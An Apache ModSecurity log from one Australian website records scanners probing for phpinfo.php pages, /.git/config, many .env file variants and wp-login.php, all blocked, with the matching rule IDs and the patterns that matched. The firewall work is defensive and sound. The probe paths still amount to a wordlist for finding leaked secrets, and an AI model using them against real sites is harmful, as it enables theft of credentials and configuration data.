[Sat May 09 02:22:55.400017 2026] [:error] [pid 61356:tid 61391] [client 3.101.153.28:49308] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/qa/phpinfo.php"] [unique_id "af4p_4x3vpB8oWhUq2NDFAAAAcM"]
[Sat May 09 02:22:56.059206 2026] [:error] [pid 51009:tid 51091] [client 3.101.153.28:49342] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/preview/phpinfo.php"] [unique_id "af4qAOB0GbUWhxgzX9WluAAAAI8"]
[Sat May 09 02:22:56.711970 2026] [:error] [pid 34318:tid 34329] [client 3.101.153.28:49384] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/www/phpinfo.php"] [unique_id "af4qAMr3guirgJiKhzAMeAAAAQk"]
[Sat May 09 02:22:57.366369 2026] [:error] [pid 61355:tid 61378] [client 3.101.153.28:49424] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/htdocs/phpinfo.php"] [unique_id "af4qAfkhJTi30CBXmMlYrQAAAZE"]
[Sat May 09 02:22:58.027758 2026] [:error] [pid 51007:tid 51043] [client 3.101.153.28:49470] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public_html/phpinfo.php"] [unique_id "af4qAlMagSGstWKyzzUlGwAAABU"]
[Sat May 09 02:22:58.681761 2026] [:error] [pid 51009:tid 51100] [client 3.101.153.28:49498] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/site/phpinfo.php"] [unique_id "af4qAuB0GbUWhxgzX9WlwgAAAJg"]
[Sat May 09 02:22:59.336377 2026] [:error] [pid 34318:tid 34341] [client 3.101.153.28:49546] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/docs/phpinfo.php"] [unique_id "af4qA8r3guirgJiKhzAMeQAAARU"]
[Sat May 09 02:22:59.990781 2026] [:error] [pid 51007:tid 51030] [client 3.101.153.28:49606] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/phpinfo.php"] [unique_id "af4qA1MagSGstWKyzzUlIwAAAAg"]
[Sat May 09 02:23:00.652189 2026] [:error] [pid 34318:tid 34343] [client 3.101.153.28:49648] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/administrator/phpinfo.php"] [unique_id "af4qBMr3guirgJiKhzAMfAAAARc"]
[Sat May 09 02:23:01.310422 2026] [:error] [pid 61355:tid 61374] [client 3.101.153.28:49274] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/core/phpinfo.php"] [unique_id "af4qBfkhJTi30CBXmMlYwwAAAY0"]
[Sat May 09 02:23:01.967420 2026] [:error] [pid 61355:tid 61371] [client 3.101.153.28:49326] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/includes/phpinfo.php"] [unique_id "af4qBfkhJTi30CBXmMlYxgAAAYo"]
[Sat May 09 04:00:21.420216 2026] [:error] [pid 9293:tid 9315] [client 45.92.229.139:25953] [client 45.92.229.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.92.229.139, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "af5A1ZR__qEzV5O6Z2OGIAAAANI"]
[Sat May 09 04:03:26.452942 2026] [:error] [pid 9920:tid 9929] [client 13.208.252.11:41886] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "af5BjkxitGYhlzgZb5Y4ZwAAAcc"]
[Sat May 09 04:03:27.209562 2026] [:error] [pid 9293:tid 9304] [client 13.208.252.11:41912] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "af5Bj5R__qEzV5O6Z2OH-QAAAMc"]
[Sat May 09 04:03:27.793740 2026] [:error] [pid 9293:tid 9314] [client 13.208.252.11:41924] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "af5Bj5R__qEzV5O6Z2OH-gAAANE"]
[Sat May 09 04:03:28.378483 2026] [:error] [pid 9293:tid 9308] [client 13.208.252.11:41936] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "af5BkJR__qEzV5O6Z2OH_AAAAMs"]
[Sat May 09 04:03:28.968736 2026] [:error] [pid 9293:tid 9311] [client 13.208.252.11:41966] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "af5BkJR__qEzV5O6Z2OH_wAAAM4"]
[Sat May 09 04:03:29.551904 2026] [:error] [pid 9293:tid 9300] [client 13.208.252.11:41998] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "af5BkZR__qEzV5O6Z2OIAAAAAMM"]
[Sat May 09 04:03:30.129847 2026] [:error] [pid 9293:tid 9317] [client 13.208.252.11:42028] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test"] [unique_id "af5BkpR__qEzV5O6Z2OIAgAAANQ"]
[Sat May 09 04:03:30.724429 2026] [:error] [pid 9187:tid 9256] [client 13.208.252.11:42054] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.remote"] [unique_id "af5BkhC7An6gkXsRsaG6KQAAAIM"]
[Sat May 09 04:03:31.316389 2026] [:error] [pid 9663:tid 9684] [client 13.208.252.11:42086] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "af5Bk5cWIu01SCxbjwuqigAAARI"]
[Sat May 09 04:03:31.895884 2026] [:error] [pid 9187:tid 9254] [client 13.208.252.11:42128] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "af5BkxC7An6gkXsRsaG6LAAAAIE"]
[Sat May 09 04:03:32.471896 2026] [:error] [pid 9920:tid 9937] [client 13.208.252.11:42160] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "af5BlExitGYhlzgZb5Y4agAAAc8"]
[Sat May 09 04:03:33.056936 2026] [:error] [pid 9184:tid 9214] [client 13.208.252.11:42190] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "af5BlYjfODqb_i0Fm99LHQAAABE"]
[Sat May 09 04:03:35.112563 2026] [:error] [pid 9760:tid 9775] [client 13.208.252.11:42426] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "af5Bl2IkCp-C_fh0s7L0-wAAAUk"]
[Sat May 09 04:03:35.699356 2026] [:error] [pid 9920:tid 9928] [client 13.208.252.11:42438] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dev"] [unique_id "af5Bl0xitGYhlzgZb5Y4bgAAAcY"]
[Sat May 09 04:03:36.280442 2026] [:error] [pid 9184:tid 9217] [client 13.208.252.11:42472] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod"] [unique_id "af5BmIjfODqb_i0Fm99LJQAAABQ"]
[Sat May 09 04:03:36.860896 2026] [:error] [pid 9663:tid 9669] [client 13.208.252.11:42510] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.stage"] [unique_id "af5BmJcWIu01SCxbjwuqlgAAAQM"]
[Sat May 09 04:03:37.445963 2026] [:error] [pid 9293:tid 9302] [client 13.208.252.11:42534] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.ci"] [unique_id "af5BmZR__qEzV5O6Z2OIBgAAAMU"]
[Sat May 09 04:03:38.035844 2026] [:error] [pid 9186:tid 9227] [client 13.208.252.11:42566] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.docker"] [unique_id "af5BmhW4eFOEw1mKOgJfsgAAAEE"]
[Sat May 09 04:03:38.616357 2026] [:error] [pid 9760:tid 9781] [client 13.208.252.11:42582] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.live"] [unique_id "af5BmmIkCp-C_fh0s7L1AAAAAU8"]
[Sat May 09 04:03:39.202011 2026] [:error] [pid 9293:tid 9313] [client 13.208.252.11:42616] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.preprod"] [unique_id "af5Bm5R__qEzV5O6Z2OIDAAAANA"]
[Sat May 09 04:03:39.782025 2026] [:error] [pid 9293:tid 9312] [client 13.208.252.11:42648] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.uat"] [unique_id "af5Bm5R__qEzV5O6Z2OIEgAAAM8"]
[Sat May 09 04:03:40.359206 2026] [:error] [pid 9293:tid 9300] [client 13.208.252.11:42688] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dist"] [unique_id "af5BnJR__qEzV5O6Z2OIFwAAAMM"]
[Sat May 09 04:03:40.936170 2026] [:error] [pid 9663:tid 9687] [client 13.208.252.11:42738] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.swp"] [unique_id "af5BnJcWIu01SCxbjwuqmgAAARU"]
[Sat May 09 04:03:41.516387 2026] [:error] [pid 9293:tid 9313] [client 13.208.252.11:42774] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env~"] [unique_id "af5BnZR__qEzV5O6Z2OIGwAAANA"]
[Sat May 09 04:03:42.093001 2026] [:error] [pid 9187:tid 9254] [client 13.208.252.11:42824] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env1"] [unique_id "af5BnhC7An6gkXsRsaG6NgAAAIE"]
[Sat May 09 04:10:34.383735 2026] [:error] [pid 9293:tid 9311] [client 51.75.119.161:39088] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "af5DOpR__qEzV5O6Z2OMqQAAAM4"]
[Sat May 09 04:10:36.860401 2026] [:error] [pid 9184:tid 9203] [client 51.75.119.161:33026] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "af5DPIjfODqb_i0Fm99MbQAAAAY"]
[Sat May 09 04:10:39.437308 2026] [:error] [pid 9186:tid 9248] [client 51.75.119.161:33040] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "af5DPxW4eFOEw1mKOgJhEQAAAFY"]
[Sat May 09 04:10:41.724902 2026] [:error] [pid 9760:tid 9779] [client 51.75.119.161:33050] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "af5DQWIkCp-C_fh0s7L12AAAAU0"]
[Sat May 09 04:10:44.143639 2026] [:error] [pid 9184:tid 9219] [client 51.75.119.161:33054] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "af5DRIjfODqb_i0Fm99MdQAAABY"]
[Sat May 09 04:10:46.705828 2026] [:error] [pid 9186:tid 9231] [client 51.75.119.161:33588] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "af5DRhW4eFOEw1mKOgJhIwAAAEU"]
[Sat May 09 04:10:49.054570 2026] [:error] [pid 9293:tid 9311] [client 51.75.119.161:33590] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "af5DSZR__qEzV5O6Z2OMtwAAAM4"]
[Sat May 09 04:10:51.584367 2026] [:error] [pid 9293:tid 9297] [client 51.75.119.161:33598] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "af5DS5R__qEzV5O6Z2OMuQAAAMA"]
[Sat May 09 04:10:53.981035 2026] [:error] [pid 9663:tid 9677] [client 51.75.119.161:33608] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "af5DTZcWIu01SCxbjwusygAAAQs"]
[Sat May 09 04:10:56.381772 2026] [:error] [pid 9920:tid 9936] [client 51.75.119.161:35708] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "af5DUExitGYhlzgZb5Y6iQAAAc4"]
[Sat May 09 04:10:58.907773 2026] [:error] [pid 9293:tid 9302] [client 51.75.119.161:35714] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "af5DUpR__qEzV5O6Z2OMzwAAAMU"]
[Sat May 09 04:11:01.301998 2026] [:error] [pid 9186:tid 9247] [client 51.75.119.161:35724] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "af5DVRW4eFOEw1mKOgJhUQAAAFU"]
[Sat May 09 04:11:03.827119 2026] [:error] [pid 9187:tid 9256] [client 51.75.119.161:35726] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "af5DVxC7An6gkXsRsaG9LQAAAIM"]
[Sat May 09 04:11:06.239633 2026] [:error] [pid 9833:tid 9840] [client 51.75.119.161:40622] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "af5DWiM9JmxIS0KGZUAfQQAAAYI"]
[Sat May 09 04:11:08.604188 2026] [:error] [pid 9186:tid 9229] [client 51.75.119.161:40626] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "af5DXBW4eFOEw1mKOgJhXAAAAEM"]
[Sat May 09 04:11:11.144848 2026] [:error] [pid 9184:tid 9207] [client 51.75.119.161:40630] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "af5DX4jfODqb_i0Fm99MnAAAAAo"]
[Sat May 09 04:11:13.535414 2026] [:error] [pid 9186:tid 9229] [client 51.75.119.161:40640] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "af5DYRW4eFOEw1mKOgJhaAAAAEM"]
[Sat May 09 04:11:16.083061 2026] [:error] [pid 9760:tid 9785] [client 51.75.119.161:38204] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "af5DZGIkCp-C_fh0s7L2DwAAAVM"]
[Sat May 09 04:11:18.460568 2026] [:error] [pid 9186:tid 9227] [client 51.75.119.161:38212] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "af5DZhW4eFOEw1mKOgJhdAAAAEE"]
